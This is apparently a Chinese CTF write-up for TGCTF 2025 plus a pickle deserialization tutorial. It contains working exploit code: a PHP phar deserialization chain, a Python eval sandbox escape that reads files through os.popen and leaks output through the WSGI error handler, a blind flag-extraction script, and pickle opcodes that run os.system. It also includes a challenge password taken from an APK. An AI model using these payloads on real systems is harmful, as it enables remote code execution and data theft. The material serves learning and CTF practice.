R2JISlZhelZvVmxSb00xUnJVbXRoYlZaMFQwaHdWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NazR6VlR
Ga2QwMUdVWGRQU0hCVlZrWndVRnBYTURWalJuQkhZVVU1YVZKdVFqRldiVFZQVkRGVmQyRjZUbGRTTT
BGM1dsZHpOV05XYkRaWGEzQnBZa1p2TWxZeWVHdFpWVEZZVTJ0V1dGWXllRkZVVlZKU1RURnJlbU5JV
2s1TlJHeDNWVEp3UjJGck1YTlhibEpoVW0xUmVsUlVRbk5qVjFKR1QxWkNUazFFUVhsV1J6VjNaRzFH
V0ZWc2JGVmlXR2hvV1cxNFlXVnNVWGRVYTNCUFRWWktlRnBGYUhkVlIwWjBWRlJLVkZaNlZsaGFWM2g
zVjBaa2NWSnRiRk5TTTFKM1ZraHdRazFGTkhsVWFscHBaV3hLVVZsV1ZuWmxSbXcyVTJ4a2FWWXhTbG
xhUkU1dlZHeEZkMkY2VGxkU00wRjNXbGR6TldOV2NEWlhhM0JwWWtadk1sWXllR3RaVlRGWVUydFdVM
WRIYUV0WlZ6VlRWVVpTTmxSck5VOWhlbXhHV1dwS2MyRXhaRVpPV0U1WVlsUldXRmw2UVhoV1ZrNVlZ
a1pDVGxKR1JYcFhWRTUzWkdzMVJrOVlRbFJoYTFweFZGZDRZV1JHY0VkYVJFNXNVbFJGTVZVeFVtdFd
WMFoxVldwYVZVMXVRblZVYlhSelpGWmFkV05IUmxkTlZ6azBWMWQwVTFKck1VWmlTRVpyVWxSc1VWUl
VRWGROYkZGM1ZXNWFhRll4U2xwV1J6RTBXVmRLYzFkdWNGVldiRXBYV1ZaVk5HUXdOVVZhUjNCc1lsU
m5kMVpFU25OVE1ERllWRmhzVjJKVVJuSldhazVyVGtaU2RHSkZjRTlOVmtwNFdrVm9kMVZIUm5SWmVr
cFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldWalpWTVdSM1RVWlJkMDlJY0ZWV1JuQlJWV3RqTldOR2N
FZGhSVGxwVW01Q01WWnROVTlVYkZwSVdraENWV1ZyUlhkVWFrcFBUbTFLTmxWc1FtaFdWemswVjFod1
MxWXlTbGhWYkdoclRUSm9VVlpVUW5KTk1WcElZMFJDYkdGNmJIaFhibkJoVTIxS2MxZHFXbGhpUjFKb
1ZGWmtTMUpXVGxsYVJYQm9ZbXhLVVZaSWNFNWxSMVp5VDFoR1ZWWkdjRXRaYkZwTFpERmtjbFJyY0U5
TlZrcDRXa1ZvZDFWSFJuTlNWRXBVVm5wR1ZGcEhNVXRrUmxwWVlrWkNUbEpHUlhwWGJYaHZWR3MxY2s
xVVdtbE5iWGh5VlRCV2RrMVdUbGhqUkVKVlRVUm9ObFJWVVhkUVVUMDk=1111

在传入wow=cat /flag即可

image-20250414134244095

什么文件上传?(复仇)

漏洞利用点:phar协议流可被file_exists()函数直接触发 可以上传.avg文件

链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();

$phar = new Phar('sauy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($aa);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

php -d phar.readonly=0 -f explore.php

将生成的sauy.php改为atg 上传成功后 到class.php 进行反序列化操作

get传入:?filename=phar://./uploads/sauy.atg/test.txt

post传入:wow=env

熟悉的配方,熟悉的味道

进去即使源代码贴脸 但是可惜我不会 赛后复现算是学到了 谢谢实验室的佬大教我

考点:沙箱绕过 python代码注入

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

法1:用抛出错误实现RCE,用污染HTTP 500的返回消息实现回显

脚本

看不懂问ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "your_url"


code = f"""
b = re.match.__globals__['__builtins__']
b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body",b["__import__"]('os').popen('ls /').read().encode())
raise Exception("1")
"""

resp = requests.post(url, data = {
"expr": f"exec({code!r})",
})
print(resp.status_code)
print(resp.text)

脚本解释

1
2
3
4
5
6
7
首先通过 b = re.match.__globals__['__builtins__'] 这一步是通过加载__globals__的属性访问全局空间 目的是绕过对__import__和__builtins__的限制 相当于绕过对这个的沙箱限制

然后 b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body" 是过__import__函数动态加载wsgiref模块wsgiref.handlers.BaseHandler是WSGI处理HTTP请求/响应的基类,负责生成错误响应内容。

b["__import__"]('os').popen('ls /').read().encode() 然后修改类的error_body属性为命令执行的内容 然后encode是把其转化为字节类型

raise Exception("1")是强制抛出异常 触发WSGI报错

原理

通过故意触发程序中的异常(错误),利用异常处理机制中的漏洞执行恶意代码。例如,在动态代码执行环境(如eval)中,攻击者构造输入引发异常,同时注入恶意代码。

做题思考步骤:

  1. 输入构造:提交包含恶意代码的输入,如1 + "a"引发类型错误。
  2. 异常触发:服务器处理输入时抛出异常,进入错误处理流程。
  3. 代码注入:在异常处理过程中,恶意代码被解析执行。例如,通过__import__('os').system('ls')执行系统命令。
  4. 绕过限制:利用反射或内置对象(如__builtins__)绕过沙箱限制,实现任意代码执行。

法2:布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
from tqdm import tqdm
url = ""
flag=""

for i in range(len(flag),50):
# for s in 'TGCTF{':
for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits):
data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
# res = requests.post(url, data=json)
res = requests.post(url, data=data)
# print(res.text, s)
if res.text != "A server error occurred. Please contact the administrator.":
flag += s
print(flag)
break
print(i)s

法3:pyramid内存马

推荐这篇师傅的文章捏 https://www.yuque.com/polestar-mzvgl/swtget/zuh78rfp7i67u219#AWd8j

也可以看我的博客内置文章 https://sauy122.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

TG_wordpress

有很多漏洞点 治理只写一种

扫描二维码下下来一个apk文件 jadx反编译后 全局搜索 password

image-20250415210925462

1
2
3
<string name="web04">+ username/password:</string>
<string name="web05">+ TG_wordpressor</string>
<string name="web06">+ aXx^oV@K&amp;cFoVaztQ*</string>

在/login路由登录 进入过后 查询插件确定cve 的型号(你可也直接复制插件的内容 然后直接问dp)

TGCTF{CVE-2020-25213}

TGCTF 2025 后台管理

SQL注入

前置知识

详细前置知识可以看官方文档https://docs.python.org/zh-cn/3/library/pickle.html

Pickle–Python对象反序列化

Pickle

1
2
3
4
pickle是python里一个可以对一个 Python 对象结构的二进制序列化和反序列化的模块。
"pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作

pickel可以看作一种独立的栈语言,其对opcode的编写可以进行python代码执行、变量覆盖等操作。

pickle序列化和反序列化

对象 <–> 二进制字节流

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

class Person():
def __init__(self):
self.age=18
self.name="A"

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name) //P.age 是调用age成员 P.name 是调用name成员

pickle.dumps将对象序列化为二进制字节流

pickle.loads将二进制字节流化为对象

Pickle反序列化漏洞

成因:就是在二进制字节流上做手脚 就像php反序列化我们传入序列化后的字符串来达到我们想要的目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import os

class Person():
def __init__(self):
self.age=18
self.name="A"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

特殊函数__reduce__ return 一个元组 第一个是可调用对象 第二个是一个参数元组

在pickle.loads的时候就会执行os.system(“whoami”) 那就成功执行任意python代码了

Pickle工作原理

独立的栈语言,由一串串opcode组成。语言解析依靠Pickle Virtual Machine(PVM)进行。

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

常用opcode指令

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
1
2
3
4
5
6
7
import pickle

opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

运行以上代码就会执行whoami命令

pickletools

用这个模块可以把opcode转换成我们易读的形式

1
2
3
4
5
6
7
import pickletools

opcode = b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

1
2
3
4
5
6
7
    0: c    GLOBAL     'os system'
11: ( MARK
12: S STRING 'whoami'
22: t TUPLE (MARK at 11)
23: R REDUCE
24: . STOP
highest protocol among opcodes = 0

Opcode漏洞利用

命令执行

opcode可以执行多个命令,可以通过手写的方式来达到。

opcode中,**.**是程序结束的标志,我们可以通过去掉.将两个字节流拼接在一起。

1
2
3
4
5
6
7
8
9
10
11
import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
#就会执行两次whoami命令

注意!

1
2
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()。
所以有时候linux和win下的脚本运行结果是不同的。

R i o 这是三个执行函数的字节码

R

1
2
3
4
opcode1=b'''cos
system
(S'whoami'
tR.'''

i

1
2
3
4
opcode2=b'''(S'whoami'
ios
system
.'''

o

1
2
3
4
opcode3=b'''(cos
system
S'whoami'
o.'''

变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。所以pickle可以进行session伪造,来变量覆盖。

实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#test.py
import pickle
import secret

print("secret变量的值为:" + secret.secret)

opcode = b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake = pickle.loads(opcode)

print("secret变量的值为:" + fake.secret)
1
2
#secret.py
secret = "This is a key"

这样就可以成功覆盖原来的secret

pickle暂时先学到这里吧笔者觉得学再多的理论还是得应用,如果以后有什么新的东西就再来补坑🤭